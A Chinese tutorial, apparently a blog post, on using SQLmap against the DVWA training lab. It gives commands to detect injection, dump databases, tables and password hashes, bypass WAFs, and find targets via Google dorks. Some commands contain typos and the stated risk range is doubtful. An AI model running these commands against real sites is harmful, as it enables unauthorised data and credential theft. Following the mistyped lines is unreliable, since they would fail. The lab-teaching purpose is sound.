前言
SQLmap是一款开源的SQL注入工具，用于检测和利用Web应用程序的SQL注入漏洞。SQLmap支持多种数据库管理系统，包括MySQL、Oracle、PostgreSQL、Microsoft SQL Server、SQLite等，并支持各种不同的操作系统和平台。
SQLmap的下载及安装本文不再详述，下载链接：https://github.com/sqlmapproject/sqlmap
本文以DVWA作为靶场，留言板项目渗透实例可参考：留言板项目SQLmap渗透实例 | CSDN@秋说
本文分为目标、脱库、账号与其它四个部分进行讲解
文章目录
前言目标1、单个URL、Cookie2、文件URL、POST
脱库1、获取当前数据库版本2、获取当前数据库名称3、列出所有数据库4、列出指定数据库的所有表5、获取表中所有数据6、搜索库、表、字段7、绕过WAF
账号1、获取所有数据2、显示当前用户3、检测是否为数据库管理员4、获取所有用户5、查看当前用户权限6、获取用户的密码（hash值）7、获取服务器主机名称8、显示正在运行的SQL语句9、以盲注方式获取web应用程序的管理员密码：
其它
目标
1、单个URL、Cookie
1）检测指定URL是否存在SQL注入漏洞：
python sqlmap.py -u 目标URL
2）设置Cookie参数，绕过Web应用程序的安全检查，检测是否含有SQL注入漏洞：
python sqlmap.py -u 目标URL --cookie="cookie参数"
实例如下：
提取URL进行注入：
通过上图回显可以看到302定向到login.php，故需附上cookie
由于控制台并不能回显PHP session，故通过bp抓包得到cookie：
security=low; PHPSESSID=blp5j1964tfgiov6iusv24m9uj
故POC如下：
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=blp5j1964tfgiov6iusv24m9uj"
结果如下：
说明存在SQL注入漏洞。
2、文件URL、POST
1）检测指定文件中的全部URL是否存在SQL注入漏洞
python sqlmap.py -m 文件名
实例参考该链接：留言板项目SQLmap渗透实例 | CSDN@秋说
2）通过POST请求包进行SQL注入（Burp抓包），检测是否含有SQL注入漏洞
python sqlmap.py -r POST请求包
或
python sqlmap.py -u "http://example.com/login.php" --data "username=1&password=1"(注入点)
实例参考该链接：留言板项目SQLmap渗透实例 | CSDN@秋说
3）指定进行检测的数据库类型
python sqlmap.py -u 目标URL -dbms 数据库类型
-D 指定数据库
-T 指定表
-C 指定字段
脱库
在确定能够使用SQLmap进行注入后，可以进行脱库操作。
1、获取当前数据库版本
python sqlmap.py -u 目标URL -b
实例如下：
POC含有Cookie参数
回显如下：
Web应用程序技术：PHP版本为7.3.4，Nginx版本为1.15.11。后端数据库管理系统（DBMS）：MySQL版本要求大于等于5.6，实际检测到的版本为5.7.26。
2、获取当前数据库名称
python sqlmap.py -u 目标URL --current-db
实例如下：
POC含有Cookie参数
回显可知当前数据库名称为dvwa：
3、列出所有数据库
python sqlmap.py -u 目标URL --dbs
实例如下：
图中的POC含有Cookie参数
回显如下，存在两个数据库，一个为dvwa，一个为information_schema
4、列出指定数据库的所有表
python sqlmap.py -u 目标URL -D 数据库名称 --tables
实例如下：
这里列出dvwa数据库所有的表，POC含有Cookie参数
回显如下，两个表，一个为guestbook，一个为users：
5、获取表中所有数据
python sqlmap.py -u 目标URL -D 数据库名称 -T 表名称 --dump
实例如下：
这里列出users所有的数据，POC含有Cookie参数
由于密码经过hash加密，SQLmap会通过不同的加密算法遍历每个字符串，将得到的hash值与数据库中的hash进行匹配：
如图是使用md5加密后进行匹配得到密码的部分结果：
结果如图：
6、搜索库、表、字段
python sqlmap.py -u 目标URL --search
7、绕过WAF
python sqlmap.pu -u 目标URL --tamper
账号
1、获取所有数据
python sqlmap.pu -u 目标URL -a
实例如下：
POC包含cookie参数
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=blp5j1964tfgiov6iusv24m9uj" -a
结果如图：
2、显示当前用户
python sqlmap.pu -u 目标URL --current -user
实例如下：
回显如下，当前用户为admin：
3、检测是否为数据库管理员
python sqlmap.pu -u 目标URL --is-dba
实例如下：
回显如下：
当前用户不是管理员
4、获取所有用户
python sqlmap.pu -u 目标URL --users
5、查看当前用户权限
python sqlmap.pu -u 目标URL --privileges
实例如下：
回显如下：
当前权限为USAGE
6、获取用户的密码（hash值）
python sqlmap.pu -u 目标URL --passwords
7、获取服务器主机名称
python sqlmap.pu -u 目标URL --hostname
回显如下：
8、显示正在运行的SQL语句
python sqlmap.pu -u 目标URL --statements
9、以盲注方式获取web应用程序的管理员密码：
python sqlmap.py -u 目标URL --technique=T --time-sec 10 --level=3 --risk=3 --current-user --current-db --passwords
其它
1）不再询问确认：
python sqlmap.pu -u 目标URL --batch
2）指定请求方式：
python sqlmap.pu -u 目标URL --method=GET
3）随机UA：
python sqlmap.pu -u 目标URL --random-agent
4）自定义UA：
python sqlmap.pu -u 目标URL --user-agent''
5）自定义referer：
python sqlmap.pu -u 目标URL --referer''
6）指定代理：
python sqlmap.pu -u 目标URL --proxy="127.0.0.1:8080"
7）指定线程数（由1至10）：
python sqlmap.pu -u 目标URL --threads 10
8）使用搜索功能来查找漏洞：
python sqlmap.py -u 目标URL --google-dork "inurl:php?id="
9）指定测试等级（由1至5）：
python sqlmap.pu -u 目标URL --level=1
10）指定风险等级（由0至3）：
python sqlmap.pu -u 目标URL --risk=1
level参数：指定扫描深度的级别，范围为1-5，级别越高，扫描的深度就越深。具体含义如下：
1级别：只做最基本的测试，速度最快。
2级别：会测试大部分的注入点，但不会尝试绕过WAF或IDS等安全设备。
3级别：会测试所有可疑的注入点，并尝试绕过WAF或IDS等安全设备。
4级别：比较耗时，会进行一些额外的测试和检测。
5级别：最深度的测试，将尽可能地测试所有的注入点和漏洞。
risk参数：指定扫描的风险级别，范围为0-3，级别越高，扫描的敏感性越高。具体含义如下：
0级别：只针对一些非常明显的、极易被发现的漏洞进行测试。
1级别：测试所有普通的注入点。
2级别：测试所有可疑的注入点，并使用一些高级的技术尝试绕过安全机制。
3级别：最高风险级别，尝试针对所有可能的注入点进行测试，并使用一切可用的技术和手段进行攻击。
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